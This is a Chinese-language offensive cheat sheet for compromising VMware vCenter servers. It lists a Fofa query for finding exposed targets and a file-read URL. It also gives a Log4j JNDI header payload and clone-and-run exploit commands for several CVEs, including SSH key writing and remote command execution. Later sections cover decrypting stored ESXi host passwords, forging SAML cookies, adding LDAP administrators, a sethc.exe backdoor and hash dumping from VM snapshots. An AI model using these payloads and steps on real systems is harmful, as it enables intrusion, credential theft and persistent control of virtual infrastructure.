vCenter



Fofa: title="ID_VC_Welcome"

简介

Vcenter 一般指 VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理 VMware vSphere 环境,与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制,Vcenter 可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。

相关工具

  • Schira4396/VcenterKiller - 一款针对 Vcenter 的综合利用工具,包含目前最主流的 CVE-2021-21972、CVE-2021-21985 以及 CVE-2021-22005 以及 log4j,提供一键上传 webshell,命令执行或者上传公钥使用 SSH 免密连接

思路和 tips

环境搭建

  • vCenter搭建
  • ESXi搭建

查看 Vcenter 版本

/sdk/vimServiceVersions.xml

远程利用

Vmware vCenter 任意文件读取

POC | Payload | exp

https://Domain/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

Log4j

影响版本

  • 7.x
  • 6.x

POC | Payload | exp

Vcenter 的 SAML 路由中,可以通过增加 XFF 头触发漏洞

/websso/SAML2/SSO/vsphere.local?SAMLRequest=

X-Forwarded-For: ${jndi:ldap://xxx.dnslog.cn/a}

# 可用 tomcatecho

CVE-2020-3952

漏洞描述

在某些情况下,作为嵌入式或外部平台服务控制器(PSC)的一部分,随 VMware vCenter Server 提供的 vmdir 不能正确实施访问控制。

在受影响的 vmdir 部署 1 上有网络访问端口 389 的恶意行为者可能会提取高度敏感的信息,如管理账户凭证,可用于破坏 vCenter Server 或其他依赖 vmdir 进行验证的服务。也有可能出现不同的攻击payload,如创建新的由攻击者控制的管理账户。

影响版本

  • VMware vCenter Server 6.7系列 < 6.7.0u3f

POC | Payload | exp

git clone https://github.com/guardicore/vmware_vcenter_cve_2020_3952
# 安装下编译的依赖,不然装 python-ldap 会报错
apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev
pip3 install python-ldap
cd vmware_vcenter_cve_2020_3952
python3 exploit.py <VCENTER_IP> <NEW_USERNAME> <NEW_PASSWORD>

CVE-2021-21972

漏洞描述

vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。

影响版本

  • VMware vCenter Server 7.0系列 < 7.0.0U1c
  • VMware vCenter Server 6.7系列 < 6.7.0U3l
  • VMware vCenter Server 6.5系列 < 6.5.0U3n
  • VMware ESXi 7.0系列 < ESXi70U1c-17325551
  • VMware ESXi 6.7系列 < ESXi670-202102401-SG
  • VMware ESXi 6.5系列 < ESXi650-202102101-SG

POC | Payload | exp

git clone https://github.com/NS-Sp4ce/CVE-2021-21972.git
cd CVE-2021-21972
python3 cve-2021-21972.py -url
git clone https://github.com/horizon3ai/CVE-2021-21972.git
cd CVE-2021-21972

# 写 ssh 公钥方法 (默认 vcenter 不开启远程 ssh)
# /root/.ssh/id_rsa.pub 这个公钥需提前生成
# 这个 192.168.8.250 是我vcenter测试机器的目标地址,记得改成自己的
python3 CVE-2021-21972.py -t 192.168.8.250 -f /root/.ssh/id_rsa.pub -p /home/vsphere-ui/.ssh/authorized_keys -o unix
ssh 192.168.8.250 -l vsphere-ui

CVE-2021-21973 SSRF

漏洞描述

VMware vCenter Server 插件中对用户提供的输入验证不当,未经过身份验证的远程攻击者可以发送特制的 HTTP 请求,欺骗应用程序向任意系统发起请求。

影响版本

  • vCenter Server: 6.5, 6.5 U1, 6.5 U3, 6.5.0, 6.5.0a, 6.5.0b, 6.5.0c, 6.5.0d, 6.5u2c, 6.7, 6.7 U3, 6.7.0, 6.7.0d, 6.7u3f, 7.0
  • Cloud Foundation: before 3.10.1.2, 4.2

POC | Payload | exp


CVE-2021-21985

漏洞描述

该漏洞存在于 vSphere Client(HTML5)中,由于 vCenter Server 中默认启用的 Virtual SAN Health Check 插件缺乏输入验证,拥有 443 端口网络访问权限的攻击者可以利用此漏洞在承载 vCenter Server 的操作系统上远程执行任意命令。

影响版本

  • VMware vCenter Server 7.0系列 < 7.0.0U2b
  • VMware vCenter Server 6.7系列 < 6.7.0U3n
  • VMware vCenter Server 6.5系列 < 6.5.0U3p
  • VMware Cloud Foundation 4.x 系列 < 4.2.1
  • VMware Cloud Foundation 4.x 系列 < 3.10.2.1

POC | Payload | exp

git clone https://github.com/r0ckysec/CVE-2021-21985.git
cd CVE-2021-21985
python3 CVE-2021-21985_echo.py https://x.x.x.x whoami

CVE-2021-22005

漏洞描述

在 CVE-2021-22005 中,攻击者可构造恶意请求,通过 vCenter 中的 Analytics 服务,可上传恶意文件,从而造成远程代码执行漏洞。

影响版本

  • VMware vCenter Server 7.0系列 < 7.0 U2c
  • VMware vCenter Server 6.7系列 < 6.7 U3o
  • VMware vCenter Server 6.5系列 不受该漏洞影响
  • VMware Cloud Foundation (vCenter Server) 4.x
  • VMware Cloud Foundation (vCenter Server) 3.x

POC | Payload | exp

# 该 exp 只能打目标为 Linux 版本的 vCenter
git clone https://github.com/shmilylty/cve-2021-22005-exp.git
cd cve-2021-22005-exp
chmod +x exp.elf && ./exp.elf -t https://x.x.x.x -s hello.jsp

CVE-2021-22017


arbitrary file read + ssrf + xss

POC | Payload | exp


提权

CVE-2021-3156

漏洞描述

在 sudo 解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer 和非 sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得 root 权限。

CVE-2021-22015

漏洞描述

vcenter 本地的提权, 由于 /usr/lib/vmware-vmon/java-wrapper-vmon 文件以 root 权限调用,vsphere-ui 用户属于 cis 组中,而 cis 组的用户都可以修改 java-wrapper-vmon 文件,所以编辑 java-wrapper-vmon 文件,在 vcenter 服务重启时可以触发提权。

影响版本

  • VMware vCenter Server 7.0系列
  • VMware vCenter Server 6.7系列
  • VMware vCenter Server 6.5系列

后渗透

Postgresql 的配置文件位置

  • linux : /etc/vmware-vpx/vcdb.properties
  • windows : C:\programdata\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

相关工具

CVE-2022-22948

漏洞描述

对 postgresql 里的 vcenter 密码解密

POC | Payload | exp

# symkey.dat
Windows: C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
Linux: /etc/vmware-vpx/ssl/symkey.dat

# postgres user password
Windows: C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties
Linux: /etc/vmware-vpx/vcdb.properties /etc/vmware/service-state/vpxd/vcdb.properties

# 密文
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

# 解密
git clone https://github.com/shmilylty/vhost_password_decrypt.git
cd vhost_password_decrypt
pip3 install pycryptodome
python3 decrypt.py symkey.dat password.enc password.txt

伪造 cookie

获取 data.mdb

  • windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
  • linux:/storage/db/vmware-vmdir/data.mdb

相关工具

目标机器内网 ip 需要本地可以访问到,否则无法伪造 cookie。

python3 vcenter_saml_login.py -p data.mdb -t <目标机器内网ip>

替换 cookie 进行访问

LDAP 创建管理员

相关工具

# 执行命令搜集相关信息
python vCenterLDAP_Manage.py
python vCenterLDAP_Manage.py getadmin
python vCenterLDAP_Manage.py getuser

# 根据收集到的信息修改脚本内容
python vCenterLDAP_Manage.py adduser
python vCenterLDAP_Manage.py addadmin

# 登录验证

获取 Vcenter 后台 windows 机器权限

pe

把 pe 文件上传到 vcenter 中。然后在 CD/DVD 驱动器中选择刚刚上传的 pe。最后在虚拟机选项中的引导选项勾选强制进入 bios,保存后打开虚拟机电源。

进入 bios 后在 boot 中按 -+ 调整顺序,将 CD-ROM Drive 设置为第一启动项,进入 PE 后在 windows/system32 中将 sethc.exe 改为 sethc.bak,复制一个 cmd 并重命名为 sethc.exe,然后重新勾选强制进入 bios,重启后将 CD-ROM Drive 改回去,然后按五次 shift 弹出 cmd

或者把后门放到启动项里也是一样

KonBoot

和 pe 也一个套路,通过上传 KonBoot 镜像,然后克隆一台出来,修改引导,免密进入,抓取 hash

挂载VMDK

克隆一个域控机器, 将克隆的目标域控机器的 vmdk 文件挂载到一台我们能够正常登录的机器上, 然后本地抓取 hash

内存取证

进后台,找 windows 主机,创建快照。

快照保存在相对应的数据库中,在相对应的数据库中下载 vmem 和 vmsn 这两个文件。

利用 volatility 查看 hash,可以参考笔记 Volatility

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo
volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist
# -y 是 system
# -s 是 sam
volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010

获取 Vcenter 后台 linux 机器权限

忘记密码

参考 centos 忘记密码的还原方法

  • 密码重置